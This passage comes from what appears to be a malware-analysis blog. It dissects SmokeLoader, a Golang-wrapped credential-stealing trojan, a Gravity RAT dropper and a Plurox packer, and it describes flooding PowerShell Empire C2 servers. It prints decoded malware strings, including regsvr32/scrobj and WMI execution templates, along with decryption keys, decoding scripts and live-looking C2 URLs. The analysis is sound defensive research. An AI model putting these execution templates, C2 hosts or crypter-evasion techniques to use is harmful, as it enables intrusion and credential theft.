<p>So we can reconstruct pretty easily and rebuild both the 32 bit and 64 bit DLLs. This will be mapped into explorer by using resolved functions from a manually loaded copy of NTDLL, a technique that isn’t new but was previously seen being used by SmokeLoader by CheckPoint[<a href="https://research.checkpoint.com/2019/2019-resurgence-of-smokeloader/">3</a>].
It finds explorer by using GetShellWindow -> GetWindowThreadProcessId and then begins mapping in the DLL.</p>
<p>The strings in the DLL are decoded in a similar manner as I have previously written about<a href="https://www.fidelissecurity.com/threatgeek/threat-intelligence/smokeloader-downloader/">4</a> but instead of decoding the entire block the strings are decoded in sequence with each string being decoded using RC4 the block of strings then is an array of structures like so:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>struct encoded_string
{
unsigned char sLength;
unsigned char encoded_string[sLength];
}
struct encoded_string block[0x3f6];
</code></pre></div></div>
<p>Decoded strings:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://dns.google/resolve?name=microsoft.com
Software\Microsoft\Internet Explorer
advapi32.dll
Location:
plugin_size
\explorer.exe
user32
advapi32
urlmon
ole32
winhttp
ws2_32
dnsapi
shell32
svcVersion
Version
<?xml version="1.0"?><scriptlet><registration classid="{00000000-0000-0000-0000-00000000%04X}"><script language="jscript"><![CDATA[GetObject("winmgmts:Win32_Process").Create("%ls",null,null,null);]]></script></registration></scriptlet>
.bit
%sFF
%02x
%s%08X%08X
%s\%hs
%s%s
regsvr32 /s %s
regsvr32 /s /n /u /i:"%s" scrobj
%APPDATA%
%TEMP%
.exe
.dll
.bat
:Zone.Identifier
POST
Content-Type: application/x-www-form-urlencoded
open
Host: %s
PT10M
1999-11-30T00:00:00
NvNgxUpdateCheckDaily_{%08X-%04X-%04X-%04X-%08X%04X}
Accept: */*
Referer: %S
</code></pre></div></div>
<p>The C2 URL encoding was also changed as mentioned by CheckPoint[<a href="https://research.checkpoint.com/2019/2019-resurgence-of-smokeloader/">3</a>].</p>
<p><img src="/assets/smokeloader/decode_c2s.png" alt="C2 Decoding" title="C2 Decoding" /></p>
<p>Using the same routine from Cert-PLs blog on SmokeLoader[<a href="https://www.cert.pl/en/news/single/dissecting-smoke-loader/">5</a>] we can slightly modify it to decoded out the C2 URLs:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def smoke_unxor(enc_buf, dwordv):
key_dword = struct.pack("<I", dwordv)
r = reduce(lambda x,y:ord(y)^x, key_dword, 0xe4)
return ''.join(chr(ord(a) ^ r) for a in enc_buf)
</code></pre></div></div>
<p>Decoded C2 URLs:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hxxp://iknocjtoid.pw/
hxxp://obstratorvv.pw/
hxxp://gameonfagpsf.pw/
</code></pre></div></div>
<p>References:</p>
<ol>
<li>https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/</li>
<li>https://osandamalith.com/2017/09/24/detecting-architecture-in-windows/</li>
<li>https://research.checkpoint.com/2019/2019-resurgence-of-smokeloader/<br />
4: https://www.fidelissecurity.com/threatgeek/threat-intelligence/smokeloader-downloader/<br />
5: https://www.cert.pl/en/news/single/dissecting-smoke-loader/</li>
</ol>After finding a collection of samples I noticed they were in a report: https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/Golang wrapper on an old obscene malware2020-02-28T16:31:12+00:002020-02-28T16:31:12+00:00/malware/2020/02/28/Golang-Wrapper-on-an-old-malware<p>The malware in this report has been blogged about before by a Russian researcher<a href="https://habr.com/ru/post/27040/">1</a>, he referred to is as “Obscene Trojan” so that’s what I will also call it and we will go over it’s functionality in depth later in this blog but the more interesting part to me is the initial layer around the malware, it’s in Golang! This layer serves both as a wrapper layer that you would normally expect to see with crypters but also a dropper as it drops the decoded malware to detonate it instead of loading it into memory but the concept of a golang crypter is interesting nonetheless and after going through all the layers I stepped back and checked what the detection ratings were and was incredibly surprised to find that these wrapper layers took a 12 year old malware from completely detected to almost FUD.</p>
<p>Initial sample:
769d1396b0cef006bcaafd2de850fc97bf51fd14813948ef2bc3f8200bcb5eab</p>
<p>This Golang wrapper is designed to ZLIB decompress and RC4 decrypt the next file hidden inside itself.</p>
<p><img src="/assets/golang_wrapped_trojan/769_packer_copy_data_load_key.png" alt="Copy Data and load key" title="Copy Data and load key" /></p>
<p><img src="/assets/golang_wrapped_trojan/769_decompress_decrypt.png" alt="Decompress and Decrypt" title="Decompress and Decrypt" /></p>
<p>Dumping the data blog out we can verify this manually.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="nb">open</span><span class="p">(</span><span class="s">'test.zz'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
<span class="o">>>></span> <span class="n">zobj</span> <span class="o">=</span> <span class="n">zlib</span><span class="o">.</span><span class="n">decompressobj</span><span class="p">()</span>
<span class="o">>>></span> <span class="n">t2</span> <span class="o">=</span> <span class="n">zobj</span><span class="o">.</span><span class="n">decompress</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
<span class="o">>>></span> <span class="n">t2</span><span class="p">[:</span><span class="mi">100</span><span class="p">]</span>
<span class="s">'</span><span class="se">\x9e\xd6\x02\x1e\x19</span><span class="s">n</span><span class="se">\xa0</span><span class="s">^</span><span class="se">\xd0\x83</span><span class="s">Ga</span><span class="se">\xcf</span><span class="s">q</span><span class="se">\xd6\x08\x94</span><span class="s">3</span><span class="se">\x00\x7f\xf4</span><span class="s">n</span><span class="se">\x96\x05\xe5\xf7\x8a</span><span class="s">M8</span><span class="se">\x17\x8a\xfb\xe3\\</span><span class="s">]}</span><span class="se">\x1c</span><span class="s">5</span><span class="se">\x07\x8d</span><span class="s">j</span><span class="se">\xce</span><span class="s">I</span><span class="se">\xd2\xae\xfa\x12\xc0\xd6\xd1\xef</span><span class="s">&N</span><span class="se">\x8c</span><span class="s">G[8L</span><span class="se">\xf3\xb9\x01\xcb</span><span class="s">d</span><span class="se">\xab\x8a\x9b\xd5</span><span class="s">N</span><span class="si">%</span><span class="se">\x80</span><span class="s">Q</span><span class="se">\x8f</span><span class="s">:`</span><span class="se">\xce\xc1</span><span class="s">P</span><span class="se">\xb3\x07\xa0</span><span class="s">+</span><span class="se">\x1c\x1e</span><span class="s">Z</span><span class="se">\x0c</span><span class="s">[;W</span><span class="se">\xbf\xb5</span><span class="s">`</span><span class="se">\xdb\x9f</span><span class="s">n</span><span class="se">\xf0</span><span class="s">-</span><span class="se">\xc4</span><span class="s"><R</span><span class="se">\xf5</span><span class="s">'</span>
<span class="o">>>></span> <span class="n">rc4</span> <span class="o">=</span> <span class="n">ARC4</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s">'vckxjm'</span><span class="p">)</span>
<span class="o">>>></span> <span class="n">t3</span> <span class="o">=</span> <span class="n">rc4</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">t2</span><span class="p">)</span>
<span class="o">>>></span> <span class="n">t3</span><span class="p">[:</span><span class="mi">100</span><span class="p">]</span>
<span class="s">'MZ</span><span class="se">\x90\x00\x03\x00\x04\x00\x00\x00\x00\x00\xff\xff\x00\x00\x8b\x00\x00\x00\x00\x00\x00\x00</span><span class="s">@</span><span class="se">\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\t\xcd</span><span class="s">!</span><span class="se">\xb8\x01</span><span class="s">L</span><span class="se">\xcd</span><span class="s">!This program cannot be'</span>
</code></pre></div></div>
<p>Next layer:
0015001917bc98a899536c6d72fcf0774e5b14ab66f07ccbdc4cc205d70475dd</p>
<p>After decoding the next exe file out we are left with another golang wrapped file that does the same thing as the previous layer but it has a differen’t RC4 key.</p>
<p><img src="/assets/golang_wrapped_trojan/unpacked1_same_packer.png" alt="Same golang packer" title="Same golang packer" /></p>
<p>Next unpacked file:
de2688f007dac98b579d5ed364febc8bb07bc3dc26e4b548d659ecb1974d9f46</p>
<p>This file appears to be a SFX RAR exe but at the end of the day it is also just another layer and is designed to drop an EXE file to disk and detonate it.</p>
<p>Dropped binary:
afa085105a16b1284a811da11db2457778c4a267f2fa8a551dec3b8a665c11f9</p>
<p>This file looks like a compiled lua binary but we don’t really need to decompile it as we can see a large base64 blob inside it and a similar looking 6 byte string below it.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><snip>
dIMAASIwzdmExocRQqzw0ytzQGCfKbvWFXldCcNuyFmZY0eOxzmzJtMrzn1VV6VBF8hH6CZpopOVvkCx
QpeoBQy3fp/3XNCVyDc90aYiPtcwqjfbX3jSEDbspcg8AT08aUmJqm+RU53bFB8u3vL+HQzNNv17YHeX
kHA5yz6ttQuwpZ0rzTHvh11DBxVFQwWLaVi1Y718ORqmrc5DcWTMCvEjagiP4qeJWUmP2N0XwQ08fXU1
buFfXfD6xBg8ugXKanSFFTsGuIJIC+QPePPjvTWoeJueb4y5IvPVJUT688HgNTo18eufF2CCyjMs/Zem
Xb+7K1DeYNbF/mPbJrcqtovOdd7X4HSwcbh+0MwwWNnWak4kCT/JRumZBztD1iBMuVIJZv0V/48+rBq9
nHigHzW0fv6XFFZhzThqkHx0GEr9i/MMromlXCHSm7A=
rc4_key
yovzgz
tmp_file
getenv
TEMP
tmpname
.exe
</code></pre></div></div>
<p>Base64 decoding and then RC4 decrypting this blob gives us our next binary:
1ca71bba30fb17e83fea05ef5e2d467f86bff27b6087b574fa51f94f0f725441</p>
<p>This binary is the unpacked trojan that a blog from 2008 calls “Obscene Trojan”[<a href="https://habr.com/ru/post/27040/">1</a>], coincidentally it also has a compilation timestamp of 2008 so I’m unsure if it was just recently uploaded or if someone is testing the crypter layers for detection.</p>
<p>Has some anti debugging by using obscure opcodes that some debuggers can have problems with.</p>
<p><img src="/assets/golang_wrapped_trojan/ylb_unpacked_anti_opcode.png" alt="Anti-Debugging opcode" title="Anti-Debugging opcode" /></p>
<p>Also a VM check[<a href="https://www.aldeid.com/wiki/VMXh-Magic-Value">3</a>].</p>
<p><img src="/assets/golang_wrapped_trojan/ylb_unpacked_vm_check.png" alt="VM Check" title="VM Check" /></p>
<p>The malware has most of its important strings encoded using a single byte XOR.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Python</span><span class="o">></span><span class="k">for</span> <span class="n">addr</span> <span class="ow">in</span> <span class="n">XrefsTo</span><span class="p">(</span><span class="mh">0x40f09e</span><span class="p">,</span> <span class="n">flags</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
<span class="n">addr</span> <span class="o">=</span> <span class="n">addr</span><span class="o">.</span><span class="n">frm</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">addr</span><span class="p">)),</span>
<span class="n">addr</span> <span class="o">=</span> <span class="n">idc</span><span class="o">.</span><span class="n">PrevHead</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
<span class="n">offset</span> <span class="o">=</span> <span class="n">GetOperandValue</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">GetString</span><span class="p">(</span><span class="n">offset</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">t</span><span class="p">)):</span>
<span class="n">t</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="mi">2</span>
<span class="k">print</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
<span class="n">Python</span><span class="o">></span>
<span class="mh">0x40f22e</span><span class="n">L</span> <span class="n">advapi32</span><span class="o">.</span><span class="n">dll</span>
<span class="mh">0x40f256</span><span class="n">L</span> <span class="n">kernel32</span><span class="o">.</span><span class="n">dll</span>
<span class="mh">0x40f27e</span><span class="n">L</span> <span class="n">GetProcAddress</span>
<span class="mh">0x40f2ac</span><span class="n">L</span> <span class="n">GetEnvironmentVariableA</span>
<span class="mh">0x40f2da</span><span class="n">L</span> <span class="n">WinExec</span>
<span class="mh">0x40f308</span><span class="n">L</span> <span class="n">CopyFileA</span>
<span class="mh">0x40f336</span><span class="n">L</span> <span class="n">SetFileAttributesA</span>
<span class="mh">0x40f364</span><span class="n">L</span> <span class="n">RegSetValueExA</span>
<span class="mh">0x40f392</span><span class="n">L</span> <span class="n">RegOpenKeyA</span>
<span class="mh">0x40f3c0</span><span class="n">L</span> <span class="n">RegCloseKey</span>
<span class="mh">0x40f3ee</span><span class="n">L</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">fewfwe</span><span class="o">.</span><span class="n">com</span><span class="o">/</span>
<span class="mh">0x40f400</span><span class="n">L</span> <span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">fewfwe</span><span class="o">.</span><span class="n">net</span><span class="o">/</span>
<span class="mh">0x40f421</span><span class="n">L</span> <span class="n">cftmon</span><span class="o">.</span><span class="n">exe</span>
<span class="mh">0x40f442</span><span class="n">L</span> <span class="n">spools</span><span class="o">.</span><span class="n">exe</span>
<span class="mh">0x40f463</span><span class="n">L</span> <span class="n">ftpdll</span><span class="o">.</span><span class="n">dll</span>
<span class="mh">0x40f541</span><span class="n">L</span> <span class="n">Software</span>\<span class="n">Microsoft</span>\<span class="n">Windows</span>\<span class="n">CurrentVersion</span>\<span class="n">Run</span>\
<span class="mh">0x40f5d8</span><span class="n">L</span> <span class="n">SYSTEM</span>\<span class="n">CurrentControlSet</span>\<span class="n">Services</span>\<span class="n">Schedule</span>
<span class="mh">0x40f68b</span><span class="n">L</span> <span class="n">SystemDrive</span>
<span class="mh">0x40f8c2</span><span class="n">L</span> <span class="n">windir</span>
<span class="mh">0x40f8de</span><span class="n">L</span> <span class="n">COMRUTERNAME</span>
<span class="mh">0x40f8f0</span><span class="n">L</span> \<span class="n">system32</span>
<span class="mh">0x40f911</span><span class="n">L</span> <span class="n">USERPROFILE</span>
<span class="mh">0x40f938</span><span class="n">L</span> \<span class="n">Local</span> <span class="n">Settings</span>\<span class="n">Application</span> <span class="n">Data</span>
<span class="mh">0x40f97f</span><span class="n">L</span> \<span class="n">drivers</span>\
<span class="mh">0x40f9b7</span><span class="n">L</span> \<span class="n">Local</span> <span class="n">Settings</span>\<span class="n">Application</span> <span class="n">Data</span>\
<span class="mh">0x40f9ef</span><span class="n">L</span> \<span class="n">update</span><span class="o">.</span><span class="n">dat</span>
<span class="mh">0x40fa16</span><span class="n">L</span> \<span class="n">drivers</span>\
<span class="mh">0x40fa2d</span><span class="n">L</span> <span class="n">sysproc</span><span class="o">.</span><span class="n">sys</span>
<span class="mh">0x40fa54</span><span class="n">L</span> \<span class="n">mpr</span><span class="o">.</span><span class="n">dat</span>
<span class="mh">0x40fa7b</span><span class="n">L</span> \<span class="n">mpr2</span><span class="o">.</span><span class="n">dat</span>
<span class="mh">0x40faa2</span><span class="n">L</span> \<span class="n">mpr32</span><span class="o">.</span><span class="n">dat</span>
<span class="mh">0x40fb61</span><span class="n">L</span> \<span class="n">mpz</span><span class="o">.</span><span class="n">tmp</span>
<span class="mh">0x40fb88</span><span class="n">L</span> \<span class="n">r43q34</span><span class="o">.</span><span class="n">tmp</span>
<span class="mh">0x40fda5</span><span class="n">L</span> <span class="n">wininet</span><span class="o">.</span><span class="n">dll</span>
<span class="mh">0x40fdcb</span><span class="n">L</span> <span class="n">InternetOpenA</span>
<span class="mh">0x40fdf7</span><span class="n">L</span> <span class="n">InternetOpenUrlA</span>
<span class="mh">0x40fe23</span><span class="n">L</span> <span class="n">InternetReadFile</span>
<span class="mh">0x410007</span><span class="n">L</span> <span class="n">Content</span><span class="o">-</span><span class="n">Type</span><span class="p">:</span> <span class="n">application</span><span class="o">/</span><span class="n">x</span><span class="o">-</span><span class="n">www</span><span class="o">-</span><span class="n">form</span><span class="o">-</span><span class="n">urlencoded</span>
<span class="mh">0x410304</span><span class="n">L</span> <span class="n">c</span><span class="p">:</span>\<span class="n">stop</span>
</code></pre></div></div>
<p>There is also an encoded file stored inside of it which was also blogged about in 2008 but was discussed as being downloaded by the previous trojan instead of being dropped directly[<a href="https://habr.com/ru/post/27053/">2</a>]:
f198e63cc1ba3153e27905881bcb8a81fa404f659b846b972b1c8f228e4185d4</p>
<p>The trojan sets the filename that it will have.</p>
<p><img src="/assets/golang_wrapped_trojan/filename_for_dll.png" alt="Filename is decoded" title="Filename is decoded" /></p>
<p><img src="/assets/golang_wrapped_trojan/ftpdll_decoded.png" alt="DLL decoded" title="DLL decoded" /></p>
<p>This DLL will hook send, WSASend, recv and WSARecv; primarily for harvesting data from traffic over ports 110, 80, 25 and 21. The harvested data is written to files while the main trojan piece will read the files and ship the data off.</p>
<p>Receiving function hooks:</p>
<p><img src="/assets/golang_wrapped_trojan/ftpdll_recv_hook.png" alt="Receiving function hooks" title="Receiving function hooks" /></p>
<p>Sending function hooks:</p>
<p><img src="/assets/golang_wrapped_trojan/ftpdll_send_hook.png" alt="Sending function hooks" title="Sending function hooks" /></p>
<p>The receiving hook checks which port is being used before harvesting data.</p>
<p><img src="/assets/golang_wrapped_trojan/ftpdll_recvhook_overlay.png" alt="Receiving hook overlay" title="Receiving hook overlay" /></p>
<p>The data being harvested looks like email data which will be written to one of the files.</p>
<p><img src="/assets/golang_wrapped_trojan/ftpdll_recvhook_emails_to_file.png" alt="Write emails to file" title="Write emails to file" /></p>
<p>The send hook function performs similar harvesting but it also has different code for port 21 and 80 traffic. For port 21 it will check for ‘USER’ and ‘PASS’ such as with FTP traffic.</p>
<p><img src="/assets/golang_wrapped_trojan/ftpdll_sendhook_port21_user.png" alt="Look for USER" title="Look for USER" /></p>
<p><img src="/assets/golang_wrapped_trojan/ftpdll_sendhook_port21_pass.png" alt="Look for USER" title="Look for PASS" /></p>
<p>The data will then be harvested.</p>
<p><img src="/assets/golang_wrapped_trojan/ftpdll_sendhook_port21_harvest_ftp.png" alt="ftpdll_sendhook_writeftp_to_file" title="Harvest FTP data" /></p>
<p>The data will be written to a different file.</p>
<p><img src="/assets/golang_wrapped_trojan/ftpdll_sendhook_writeftp_to_file.png" alt="Write FTP info to file" title="Write FTP info to file" /></p>
<p>The send hook code will also look for ‘gzip,’ in outbound over port 80 and overwrite it, probably to prevent an Accept-Encoding header from including gzip.</p>
<p><img src="/assets/golang_wrapped_trojan/ftpdll_sendhook_overwrite_gzip.png" alt="Overwrite gzip on outbound port 80 traffic" title="Overwrite gzip on outbound port 80 traffic" /></p>
<p>As I mentioned at the beginning of the blog the most interesting aspect of this to me personally is the ability of a few simple wrappers and a golang crypter taking an old malware to almost FUD.</p>
<p><img src="/assets/golang_wrapped_trojan/VT_detections.png" alt="VT Detections of files" title="VT Detections of files" /></p>
<p>References:</p>
<ol>
<li>https://habr.com/ru/post/27040/</li>
<li>https://habr.com/ru/post/27053/</li>
<li>https://www.aldeid.com/wiki/VMXh-Magic-Value</li>
</ol>The malware in this report has been blogged about before by a Russian researcher1, he referred to is as “Obscene Trojan” so that’s what I will also call it and we will go over it’s functionality in depth later in this blog but the more interesting part to me is the initial layer around the malware, it’s in Golang! This layer serves both as a wrapper layer that you would normally expect to see with crypters but also a dropper as it drops the decoded malware to detonate it instead of loading it into memory but the concept of a golang crypter is interesting nonetheless and after going through all the layers I stepped back and checked what the detection ratings were and was incredibly surprised to find that these wrapper layers took a 12 year old malware from completely detected to almost FUD.Research into Attacking Powershell Empire2019-10-05T16:31:12+00:002019-10-05T16:31:12+00:00/malware/2019/10/05/Attacking-powershell-empire<p>Powershell empire is a post-exploitation framework that premiered at BsidesLV in 2015, developed by some all around great individuals whos work I would highly recommend following and reading. It’s a framework that is used pretty frequently by pentesters, however like all good pentester tools the better it is the more likely it will end up being used by the bad guys. However I’m not here to debate any of that or even talk about detecting a framework versus detecting TTPs or any of that, today I’m going to go over my research into attacking the Empire C2s in various ways. Some of the work ended up showing some interesting avenues and some of the work didn’t really amount to anything but hopefully you find it useful.</p>
<p>For attacking I’ll be visiting a few scenarios:</p>
<ol>
<li>Spamming new client registrations</li>
<li>Sending corrupted or large blocks of data</li>
</ol>
<p>For the first attack we simply need the staging key and the profile data. For powershell empire you normally have a base64 encoded initial stager string which would be executed on a system.</p>
<p>Example:</p>
<p><img src="/assets/empire_attack/pshell_empire_base64.png" alt="Base64 Powershell" title="Base64 Powershell" /></p>
<p>After base64 decoding with are left with the decoded version of the initial stager which has the aforementioned information we require.</p>
<p><img src="/assets/empire_attack/empire_initial_stager.png" alt="Empire initial stager" title="Empire initial stager" /></p>
<p>This initial stager will actually end up downloading the agent code, the agent is then responsible for performing checkins to look for new taskings to execute.
To understand exactly what’s going on here we can simply review the code from github, doing this allows us to figure out exactly how much information we need in order to register as an agent.</p>
<p>The stagingKey is actually the RC4 key from the initial stager, this initial stager also normally has a cookie which is the sessionID. For the initial stager the sessionID in the cookie is just 00000000 which has been RC4 encrypted, the other data also informs the server about the system such as whether or not it’s running powershell or python version.</p>
<p>After the initial layer checks in the server will send back the appropriate agent code that has been RC4 encrypted with a randomly generated IV attached that is added to the key from the initial stager. After getting to the agent code it will register itself with the server as a new ID instaed of 00000000.</p>
<p>So then in order to checkin to the server we need a few specific things:</p>
<ul>
<li>UserAgent</li>
<li>RC4 key</li>
<li>URI list</li>
</ul>
<p>Luckily for us it appears all of these things needed are in the initial stager piece of the code so we can actually craft a script to generated and checkin to a C2 over and over again.</p>
<p><img src="/assets/empire_attack/empire_spam_bots.png" alt="Empire flooding" title="Empire flooding" /></p>
<p>Powershell Empires interface however has a cool option that lets you delete ‘stale’ bots, or basically bots that haven’t checked in recently. So while we can flood the server with bots if we aren’t actually continuing the checkin process for each bot then they will all go stale and easily be deleted.</p>
<p><img src="/assets/empire_attack/empire_stale_bots.png" alt="Empire stale bots" title="Empire stale bots" /></p>
<p>So a few possible scenarios:</p>
<ul>
<li>We use a producer and consumer approach with threading to keep a certain number of bots active which would then require manual interaction from the operator or simply to delete all the bots and start over. The operator can simply block your IP and wait for your bots to stale however as a countermeasure.</li>
<li>We can setup a distributed approach to have groups of bots exit from certain VPN or TOR IPs using the same approach above but making the process of blocking us more complicated.</li>
</ul>
<p>This means to perform actual flooding we need to use a producer and consumer approach via threading, then we can have a target number of bots we are pretending to be. This would force the person running the server to block our IP and then delete the stale</p>
<p>For a quick demonstration of this we’ll simply add in the stager checkin portion to stager code and have it do a checkin and a tasks request for every bot it creates.</p>
<p><img src="/assets/empire_attack/empire_checkin_and_tasks.png" alt="Empire agent checkin and tasks" title="Empire agent checkin and tasks" /></p>
<p>So spamming is definately a possibility as long as you prevent the bots from going stale too frequently. What about attacking Empires using abnormal data?</p>
<p>The first thing that comes to my mind is what about a very large computername?</p>
<p><img src="/assets/empire_attack/empire_very_large_computername.png" alt="Empire very large computername" title="Empire very large computername" /></p>
<p>Injecting null bytes causes strings to be cut short and if you send the wrong language Empire will happily record it but not let you interact with the bot anymore.</p>
<p><img src="/assets/empire_attack/empire_prevent_bot_interaction.png" alt="Empire prevent bot interaction" title="Empire prevent bot interaction" /></p>
<p>At this point I decided to look at the code on GitHub and noticed a few locations where you can cause some decoding errors. For example sending a crafted session key:</p>
<p><img src="/assets/empire_attack/empire_break_decoder.png" alt="Empire break decoding" title="Empire break decoding" /></p>
<p>This doesn’t seem to cause anything but lots of error messages on the attackers screen however.</p>
<h1 id="results">Results</h1>
<ol>
<li>Setting up fake bots is possible, not only is it possible but incredibly interesting as you could potentially provide a ‘juicy’ target for an attacker and possibly get secondary or tertiary information about their motives.</li>
<li>Messing with Empire servers is also possible in regards to causing problems for the actor by bot flooding with messed up data could potentially throw a wrench in an actors plans.</li>
</ol>
<p>References:</p>
<ol>
<li>https://github.com/EmpireProject/Empire</li>
</ol>Powershell empire is a post-exploitation framework that premiered at BsidesLV in 2015, developed by some all around great individuals whos work I would highly recommend following and reading. It’s a framework that is used pretty frequently by pentesters, however like all good pentester tools the better it is the more likely it will end up being used by the bad guys. However I’m not here to debate any of that or even talk about detecting a framework versus detecting TTPs or any of that, today I’m going to go over my research into attacking the Empire C2s in various ways. Some of the work ended up showing some interesting avenues and some of the work didn’t really amount to anything but hopefully you find it useful.GoLang dropper with a Gravity RAT2019-09-26T16:31:12+00:002019-09-26T16:31:12+00:00/malware/2019/09/26/Golang-Dropper-With-A-Rat<h1 id="intro">Intro</h1>
<p>GoLang dropper that uses some fun techniques to perform checkins and meta data collection before delivering Gravity RAT.</p>
<p>Sample: 395ca4b330486479ee1b851d50fd160fedee2649e48b0de9c2f1b271732cf700</p>
<h1 id="technical-overview">Technical Overview</h1>
<p>This dropper is pretty simplistic as most dropper variants are, it’s job is to deliver an onboard piece of malware for detonation. Before getting to the delivery code though the malware has some interesting code for checkin traffic. The first thing it does is get what filename it’s running as and then performs an API request using the service PipeDream.</p>
<p><img src="/assets/golang_loader/loader_pipedream_api_filename_checkin.png" alt="PipeDream call" title="PipeDream call" /></p>
<p>After sending off it’s name via PipeDream, the malware enters a loop that will also perform an HTTP request. This request however isn’t designed to succeed, it is using the DNSBin service at hxxp://dnsbin[.]zhack[.]ca which can be utilized for DNS exfiltration of data but appears to be more used as a metrics and checkin piece here. Generating the URL and making the GET request is enough to kick off the DNS resolution which will then show up on the DNSBin side.</p>
<p><img src="/assets/golang_loader/goloader_checkin_over_dnsin_zhack.png" alt="DNSbin Checkin" title="DNSbin Checkin" /></p>
<p>After performing the above the loop will fall through to a function that is simply designed to decode and drop an onboard PE file.</p>
<p><img src="/assets/golang_loader/goloader_base64_gravityrat.png" alt="Base64 encoded PE file" title="Base64 encoded PE file" /></p>
<p>After being decoded the file will be dropped as a random named executable, however the exe file extension in the binary is surrounded by a multitude of extensions so perhaps any number of file types could be delivered using this malware. For this sample however the file being delivered is Gravity RAT which was previously written about by Talos, the RATs configuration lines up with the Talos report for the GX version</p>
<p>PDB:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\The Invincible\Desktop\gx\gx-current-program\LSASS\obj\Release\LSASS.pdb
</code></pre></div></div>
<p>Config:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/GX/GX-Server.php
/GX/GX-Server.php?VALUE=2&Type=
&SIGNATUREHASH=
/GetActiveDomains.php
http://cone.msoftupdates.com:46769
http://ctwo.msoftupdates.com:46769
http://cthree.msoftupdates.com:46769
http://eone.msoftupdates.eu:46769
http://etwo.msoftupdates.eu:46769
</code></pre></div></div>
<p>References:</p>
<ol>
<li>https://github.com/sibears/IDAGolangHelper</li>
<li>https://twitter.com/omespino/status/996091344845262848</li>
<li>https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html</li>
</ol>IntroDiving into Pluroxs DNS based protection layer2019-09-23T16:31:12+00:002019-09-23T16:31:12+00:00/malware,/crypters/2019/09/23/Plurox-packer-layer-unpacked<h1 id="intro">Intro</h1>
<p>Recently saw someone mentioning a sample of Plurox performing code flow obfuscation based on the result of a DNS request, kind of interesting and I have apparently lost the link to the person that originally mentioned the hash… so if you recognize it let me know and I’ll update this post.</p>
<p>The file we’ll be looking at is 0385038427750543d98ce02a2a24aef45a937ef226a53fc3f995b5cea513b1c8</p>
<p>PDB:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>E:\OldSoftware\Generating\Crypto\crypto.pdb
</code></pre></div></div>
<h1 id="strings">Strings</h1>
<p>Encoded strings is pretty common in malware and especially in protection layers such as crypters/packers and droppers/loaders.</p>
<p>Near the entry point of the sample we’ll find a call instruction with an immediate access of the stack. You find this pretty frequently in frameworks that use shellcode such as Metasploit, it’s basically getting the address of the data immediately following the call instruction.
<img src="/assets/plurox_packer/jump_over_encoded_data.png" alt="Jump over data using call" title="Jump over data using call" /></p>
<p><img src="/assets/plurox_packer/get_address_of_string_block.png" alt="Get data address" title="Get data address" /></p>
<p>What are we doing with this data? Further down we find a loop using XOR while loading the first DWORD of the data as the XOR key.</p>
<p><img src="/assets/plurox_packer/setup_and_xor_string_block.png" alt="XOR loop" title="XOR loop" /></p>
<p>Doing this statically in python:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Python</span><span class="o">></span><span class="n">data</span> <span class="o">=</span> <span class="n">GetManyBytes</span><span class="p">(</span><span class="mh">0x43f007</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">)</span>
<span class="n">Python</span><span class="o">></span><span class="n">key</span> <span class="o">=</span> <span class="n">data</span><span class="p">[:</span><span class="mi">4</span><span class="p">]</span>
<span class="n">Python</span><span class="o">></span><span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">4</span><span class="p">:]</span>
<span class="n">Python</span><span class="o">></span><span class="n">key</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="n">Python</span><span class="o">></span><span class="n">data</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">Python</span><span class="o">></span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)):</span>
